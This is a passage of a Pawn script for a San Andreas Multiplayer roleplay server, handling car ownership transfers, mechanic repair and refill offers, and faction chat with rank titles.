						SaveKonVal(playerid, "pCar_3", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh4", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_4", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_4] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh4] = 0;
					}
					else if(v1 != 0 && v2 != 0 && v3 != 0 && v4 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh4];

						PlayerInfo[playerid][pVeh4] = r;
						SaveKonVal(playerid, "pVeh4", r);

						PlayerInfo[playerid][pCar_4] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_4", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh4", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_4", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_4] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh4] = 0;
					}
					else if(v1 != 0 && v2 != 0 && v3 != 0 && v4 != 0 && v5 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh4];

						PlayerInfo[playerid][pVeh5] = r;
						SaveKonVal(playerid, "pVeh5", r);

						PlayerInfo[playerid][pCar_5] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_5", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh4", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_4", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_4] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh4] = 0;
					}
					else if(v1 != 0 && v2 != 0 && v3 != 0 && v4 != 0 && v5 != 0 && v6 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh4];

						PlayerInfo[playerid][pVeh6] = r;
						SaveKonVal(playerid, "pVeh6", r);

						PlayerInfo[playerid][pCar_6] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_6", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh4", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_4", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_4] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh4] = 0;
					}
					}
					else if(OwnableCarMethod[playerid] == 5) {
					if(v1 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh5];

						PlayerInfo[playerid][pVeh1] = r;
						SaveKonVal(playerid, "pVeh1", r);

						PlayerInfo[playerid][pCar_1] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_1", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh5", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_5", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_5] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh5] = 0;
					}
				   else if(v1 != 0 && v2 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh5];

						PlayerInfo[playerid][pVeh2] = r;
						SaveKonVal(playerid, "pVeh2", r);

						PlayerInfo[playerid][pCar_2] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_2", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh5", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_5", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_5] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh5] = 0;
					}
					else if(v1 != 0 && v2 != 0 && v3 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh5];

						PlayerInfo[playerid][pVeh3] = r;
						SaveKonVal(playerid, "pVeh3", r);

						PlayerInfo[playerid][pCar_3] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_3", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh5", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_5", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_5] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh5] = 0;
					}
					else if(v1 != 0 && v2 != 0 && v3 != 0 && v4 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh5];

						PlayerInfo[playerid][pVeh4] = r;
						SaveKonVal(playerid, "pVeh4", r);

						PlayerInfo[playerid][pCar_4] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_4", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh5", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_5", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_5] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh5] = 0;
					}
					else if(v1 != 0 && v2 != 0 && v3 != 0 && v4 != 0 && v5 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh5];

						PlayerInfo[playerid][pVeh5] = r;
						SaveKonVal(playerid, "pVeh5", r);

						PlayerInfo[playerid][pCar_5] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_5", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh5", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_5", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_5] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh5] = 0;
					}
					else if(v1 != 0 && v2 != 0 && v3 != 0 && v4 != 0 && v5 != 0 && v6 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh5];

						PlayerInfo[playerid][pVeh6] = r;
						SaveKonVal(playerid, "pVeh6", r);

						PlayerInfo[playerid][pCar_6] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_6", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh5", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_5", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_5] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh5] = 0;
					}
					}
					else if(OwnableCarMethod[playerid] == 6) {
					if(v1 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh6];

						PlayerInfo[playerid][pVeh1] = r;
						SaveKonVal(playerid, "pVeh1", r);

						PlayerInfo[playerid][pCar_1] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_1", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh6", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_6", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_6] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh6] = 0;
					}
				   else if(v1 != 0 && v2 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh6];

						PlayerInfo[playerid][pVeh2] = r;
						SaveKonVal(playerid, "pVeh2", r);

						PlayerInfo[playerid][pCar_2] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_2", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh6", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_6", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_6] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh6] = 0;
					}
					else if(v1 != 0 && v2 != 0 && v3 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh6];

						PlayerInfo[playerid][pVeh3] = r;
						SaveKonVal(playerid, "pVeh3", r);

						PlayerInfo[playerid][pCar_3] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_3", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh6", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_6", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_6] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh6] = 0;
					}
					else if(v1 != 0 && v2 != 0 && v3 != 0 && v4 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh6];

						PlayerInfo[playerid][pVeh4] = r;
						SaveKonVal(playerid, "pVeh4", r);

						PlayerInfo[playerid][pCar_4] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_4", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh6", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_6", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_6] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh6] = 0;
					}
					else if(v1 != 0 && v2 != 0 && v3 != 0 && v4 != 0 && v5 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh6];

						PlayerInfo[playerid][pVeh5] = r;
						SaveKonVal(playerid, "pVeh5", r);

						PlayerInfo[playerid][pCar_5] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_5", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh6", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_6", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_6] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh6] = 0;
					}
					else if(v1 != 0 && v2 != 0 && v3 != 0 && v4 != 0 && v5 != 0 && v6 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh6];

						PlayerInfo[playerid][pVeh6] = r;
						SaveKonVal(playerid, "pVeh6", r);

						PlayerInfo[playerid][pCar_6] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_6", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh6", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_6", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_6] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh6] = 0;
					}
					}
					OnSellCar[OwnableCarOffer[playerid]] = INVALID_PLAYER_ID;
					OwnableCarMethod[playerid] = 0;OwnableCarOffer[playerid] = INVALID_PLAYER_ID; OwnableCarID[playerid] = 0; OwnablePriceModel[playerid] = 0;
					return 1;
				}
				else if(strcmp(x_job,"repair",true) == 0)
				{
				if(AccRepair[playerid] >= 5) {
				SCM(playerid, COLOR_YELLOW2, "Error: You are flooding. wait for 30 seconds.");
				SetTimerEx("AccRepairT", 30000, 0, "d", playerid);
				return 1;
				}
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /[acc]ept Repair <Playerid/PartOfName>");
						return 1;
					}
					giveplayerid = ReturnUser6(tmp);
					if(!IsPlayerInAnyVehicle(playerid)) return SCM(playerid,COLOR_LIGHTRED,"You are not a vehicle.");
					if(PlayerInfo[giveplayerid][pJob] == 7 && RepairOffer[playerid] == giveplayerid)
					{
						if(GetPlayerPool(playerid) > RepairPrice[playerid])
						{
							if(IsPlayerInAnyVehicle(playerid))
							{
							if(GetPlayerState(playerid) != PLAYER_STATE_DRIVER) { SCM(playerid,COLOR_LIGHTBLUE,"You are not the driver of vehicle"); return 1; }
								if(IsPlayerConnected(RepairOffer[playerid]))
								{
								if(EngineSTATE[GetPlayerVehicleID(playerid)] == 1) { SCM(playerid,COLOR_LIGHTBLUE,"First Engine off your vehicle"); return 1; }
								if(giveplayerid == playerid) return SCM(playerid,COLOR_LIGHTBLUE,"You cannot accept yourself");
									GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
									GetPlayerName(playerid, sendername, sizeof(sendername));
									RepairCar[playerid] = GetPlayerVehicleID(playerid);
									SetVehicleHealth(RepairCar[playerid], 1000.0);
									RepairVehicle(RepairCar[playerid]);
									format(string, sizeof(string), "** You repaired your car for $%d by Car Mechanic %s.",RepairPrice[playerid],giveplayer);
									SendMessage(playerid, COLOR_LIGHTBLUE, string);
									format(string, sizeof(string), "** You fixed %s's car for $%d.",sendername,RepairPrice[playerid]);
									SendMessage(giveplayerid, COLOR_LIGHTBLUE, string);
									AccRepair[playerid] += 1;
									if(PINFO[giveplayerid][pMechSkill])
									{
										PlayerInfo[giveplayerid][pMechSkill] ++;
										SaveKonVal(giveplayerid, "pMechSkill", PINFO[giveplayerid][pMechSkill]);
									}
									if(PlayerInfo[giveplayerid][pMechSkill] == 50)
									{ SendMessage(giveplayerid, COLOR_YELLOW, "Your Car Mechanic Skill is now Level 2, you can add more Fuel to any Players Cars."); }
									else if(PlayerInfo[giveplayerid][pMechSkill] == 100)
									{ SendMessage(giveplayerid, COLOR_YELLOW, "Your Car Mechanic Skill is now Level 3, you can add more Fuel to any Players Cars."); }
									else if(PlayerInfo[giveplayerid][pMechSkill] == 200)
									{ SendMessage(giveplayerid, COLOR_YELLOW, "Your Car Mechanic Skill is now Level 4, you can add more Fuel to any Players Cars."); }
									else if(PlayerInfo[giveplayerid][pMechSkill] == 400)
									{ SendMessage(giveplayerid, COLOR_YELLOW, "Your Car Mechanic Skill is now Level 5, you can add more Fuel to any Players Cars."); }
									GivePlayerPool(giveplayerid, RepairPrice[playerid]);
									GivePlayerPool(playerid, -RepairPrice[playerid]);
									RepairOffer[playerid] = INVALID_PLAYER_ID;
									RepairPrice[playerid] = 0;
									PlayerPlaySound(playerid,1133,0.0,0.0,0.0);
									PlayerPlaySound(giveplayerid,1133,0.0,0.0,0.0);
									return 1;
								}
								return 1;
							}
							return 1;
						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "Invalid player ID.");
							return 1;
						}
					}
					else
					{
						SendMessage(playerid, COLOR_GREY, "No-one offered you to Repair your Car !");
						return 1;
					}
				}
				else { return 1; }
			}
			return 1;
		}
		if(strcmp(cmd, "/refill", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pJob] != 7)
				{
					SendMessage(playerid, COLOR_LIGHTBLUE, "You are not a Car Mechanic.");
					return 1;
				}
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Refill <Playerid/PartOfName> <Price>");
					return 1;
				}
				new playa;
				new money;
				playa = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				money = strval(tmp);
				if(money < 1 || money > 50) { SendMessage(playerid, COLOR_GREY, "Price not lower than $1, or above $50!"); return 1; }
				if(IsPlayerConnected(playa))
				{
					if(playa != INVALID_PLAYER_ID)
					{
					 if(GetPlayerState(playa) != PLAYER_STATE_DRIVER) { SCM(playerid,COLOR_LIGHTBLUE,"That player is not the driver of vehicle"); return 1; }
						if(ProxDetectorS(8.0, playerid, playa)&& IsPlayerInAnyVehicle(playa))
						{
						if(RefillOffer[playa] == playerid) { SCM(playerid,COLOR_BLUE, "You already offered to this player!!"); return 1; }
							if(playa == playerid) { SendMessage(playerid, COLOR_LIGHTBLUE, "You can't refill yourself."); return 1; }
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							format(string, sizeof(string), "You offered %s to refill %s car for $%d.",giveplayer,(PINFO[playa][pSex]==1)?("his"):("her"),money);
							SendMessage(playerid, COLOR_LIGHTBLUE, string);
							format(string, sizeof(string), "Car Mechanic %s wants to refill your car for $%d, (type /[acc]ept refill %d) to accept.",sendername,money,playerid);
							SendMessage(playa, COLOR_LIGHTBLUE, string);
							RefillOffer[playa] = playerid;
							RefillPrice[playa] = money;
						}
						else
						{
							SendMessage(playerid, COLOR_LIGHTBLUE, "That player is not near you / not in a car.");
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_GREEN, "That player is offline.");
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/repair", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pJob] != 7)
				{
					SendMessage(playerid, COLOR_LIGHTBLUE, "You are not a Car Mechanic.");
					return 1;
				}
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Repair <Playerid/PartOfName> <Price>");
					return 1;
				}
				new playa;
				new money;
				playa = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				money = strval(tmp);
				if(money < 1 || money > 50) { SendMessage(playerid, COLOR_GREY, "Price not lower than $1, or above $50!"); return 1; }
				if(IsPlayerConnected(playa))
				{
					if(playa != INVALID_PLAYER_ID)
					{
		   if(GetPlayerState(playa) != PLAYER_STATE_DRIVER) { SCM(playerid,COLOR_LIGHTBLUE,"That player is not the driver of vehicle"); return 1; }
						if(ProxDetectorS(8.0, playerid, playa)&& IsPlayerInAnyVehicle(playa))
						{
						if(RepairOffer[playa] == playerid) { SCM(playerid,COLOR_BLUE, "You already offered to this player!"); return 1; }
							if(playa == playerid) { SendMessage(playerid, COLOR_LIGHTBLUE, "You can't Repair yourself."); return 1; }
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							format(string, sizeof(string), "You offered %s to fix %s car for $%d .",giveplayer,(PINFO[playa][pSex]==1)?("his"):("her"),money);
							SendMessage(playerid, COLOR_LIGHTBLUE, string);
							format(string, sizeof(string), "Car Mechanic %s wants to repair your car for $%d, (type /[acc]ept repair %d) to accept.",sendername,money,playerid);
							SendMessage(playa, COLOR_LIGHTBLUE, string);
							RepairOffer[playa] = playerid;
							RepairPrice[playa] = money;
						}
						else
						{
							SendMessage(playerid, COLOR_LIGHTBLUE, "That player is not near you / not in a car.");
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_GREEN, "That player is offline.");
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/family", true) == 0 || strcmp(cmd, "/f", true) == 0 || strcmp(cmd, "/faction", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PINFO[playerid][pMuteTime] > 0) return SCM(playerid,COLOR_SINA3,"You cannot speak when you are muted.");
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				GetPlayerName(playerid, sendername, sizeof(sendername));
				new length = strlen(cmdtext);
				while ((idx < length) && (cmdtext[idx] <= ' '))
				{
					idx++;
				}
				new offset = idx;
	   new result[144];
				while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
				{
					result[idx - offset] = cmdtext[idx];
					idx++;
				}
				result[idx - offset] = EOS;
				if(!strlen(result))
				{
					SendMessage(playerid, COL_SYN, "Syntax: (/F)action <Faction Chat>");
					return 1;
				}
				if(PINFO[playerid][pAdmin]<12)CensorText(result);
				if (PlayerInfo[playerid][pLeader] > 0 || PlayerInfo[playerid][pMember] > 0 ||  PlayerInfo[playerid][pClan] > 0)
				{
					new leader = PlayerInfo[playerid][pLeader];
					new member = PlayerInfo[playerid][pMember];
	 //              new clan = PlayerInfo[playerid][pClan];
	//                new crank = PlayerInfo[playerid][pcRank];
					if(member==1)
					{
						return 1;
					}
					if(member==2)
					{
						return 1;
					}
					if(member==3)
					{
						return 1;
					}
					if(member==4)
					{
						return 1;
					}
					/*
					if(member==4)
					{
						if(PlayerInfo[playerid][pRank] == 7) { format(string, sizeof(string), "** (( Chief Fireman/Paramedic %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "** (( Paramedic Field %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "** (( Ambulance Commander %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "** (( Paramedic in charge %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "** (( Fire Paramedic %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "** (( Candidate Fire Paramedic %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else { format(string, sizeof(string), "** (( Private %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						SendFamilyMessage(PlayerInfo[playerid][pMember], COLOR_FChat, string);
					}
					*/
					if(member==5)
					{
						if(PlayerInfo[playerid][pRank] == 7) { format(string, sizeof(string), "** (( Don The Silence %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "** (( Consigliere %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "** (( Vicario %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "** (( Caporegime %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "** (( Sgarrista %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "** (( Soldato %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "** (( Piccioto %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else { format(string, sizeof(string), "** (( Piccioto %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						SendFamilyMessage(PlayerInfo[playerid][pMember], COLOR_FChat, string);
					}
					if(member==6)
					{
						if(PlayerInfo[playerid][pRank] == 7) { format(string, sizeof(string), "** (( Don The Killers %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "** (( Consigliere %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "** (( Vicario %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "** (( Caporegime %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "** (( Sgarrista %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "** (( Soldato %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "** (( Piccioto %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else { format(string, sizeof(string), "** (( Piccioto %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						SendFamilyMessage(PlayerInfo[playerid][pMember], COLOR_FChat, string);
					}
					else if(member==7)
					{
						return 1;
					}
					else if(member==8)
					{
						if(PlayerInfo[playerid][pRank] == 7) { format(string, sizeof(string), "** (( Director %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "** (( Co-Director %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "** (( Vice-Director %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "** (( Special Agent %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "** (( Agent %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "** (( Marksman %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "** (( FreeLancer %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else { format(string, sizeof(string), "** (( FreeLancer %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						SendFamilyMessage(PlayerInfo[playerid][pMember], COLOR_FChat, string);
					}
					else if(member==9)
					{
						if(PlayerInfo[playerid][pRank] == 7) { format(string, sizeof(string), "** (( Network Producer %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "** (( Network Editor %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "** (( Network Anchor %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "** (( Local Editor %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "** (( Local Reporter %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "** (( Intern %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else { format(string, sizeof(string), "** (( Intern %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						SendFamilyMessage(PlayerInfo[playerid][pMember], COLOR_FChat, string);
					}
					else if(member==10)
					{
						if(PlayerInfo[playerid][pRank] == 7) { format(string, sizeof(string), "** (( Taxi Company Owner %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "** (( Shift Supervisor %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "** (( Dispatcher %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "** (( Cabbie %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "** (( Taxi Rookie %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "** (( Trainee %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else { format(string, sizeof(string), "** (( Trainee %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						SendFamilyMessage(PlayerInfo[playerid][pMember], COLOR_FChat, string);
					}
					else if(member==11)
					{
						if(PlayerInfo[playerid][pRank] == 7) { format(string, sizeof(string), "** (( Boss %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "** (( Under Boss %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "** (( Manager %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "** (( Senior Instructor %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "** (( Instructor %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
